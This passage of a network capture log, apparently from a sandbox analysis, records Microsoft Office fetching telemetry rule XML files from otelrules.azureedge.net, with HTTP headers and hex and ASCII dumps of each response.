2024-12-06 23:16:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:59 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 22946db9-b01e-0021-4e03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231559Z-r1cf579d7788pwqzhC1EWRrpd800000000zg000000004bky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:00 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:59 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:59 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c8e56ad6-f01e-005d-13cc-4513ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231559Z-1746fd949bdlqd7fhC1EWR6vt0000000054g000000001ct7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:00 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:59 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:00 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a14128ec-001e-005a-6ec7-45c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231600Z-1746fd949bdjrnwqhC1EWRpg2800000004vg00000000qfde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:00 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:01 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:01 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: e40b0455-101e-008e-19d2-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231601Z-1746fd949bdhk6hphC1EWRaw3c00000004mg00000000fuy9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:02 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:01 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:02 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f7184125-501e-0064-68d4-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231602Z-1746fd949bd4w8sthC1EWR700400000004q0000000004n85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:02 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:01 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:02 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 812207fe-e01e-0099-5703-48da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231602Z-r1cf579d778t5c2lhC1EWRce3w00000001ag000000007w7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:02 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:01 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 0cb9a159-001e-0079-71ce-4512e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231602Z-1746fd949bd4w8sthC1EWR700400000004pg00000000762c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:02 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:02 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 626f3694-401e-0015-30d1-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231602Z-1746fd949bdkw94lhC1EWRxuz4000000050g00000000ekb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:02 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:03 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:04 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:04 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3c0425b1-401e-0047-7c03-488597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231604Z-r1cf579d7789trgthC1EWRkkfc00000001bg0000000066p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:04 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:03 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:04 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:04 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 4f685411-201e-0033-27cc-45b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231604Z-1746fd949bd2cq7chC1EWRnx9g00000004kg000000004kuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:04 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:03 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:04 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:04 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15e9867f-c01e-0046-5804-482db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231604Z-r1cf579d778xr2r4hC1EWRqvfs00000000rg000000004r9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:04 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:03 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:04 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:04 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: deed8991-301e-0033-2005-48fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231604Z-r1cf579d778t5c2lhC1EWRce3w00000001ag000000007wcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:04 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" 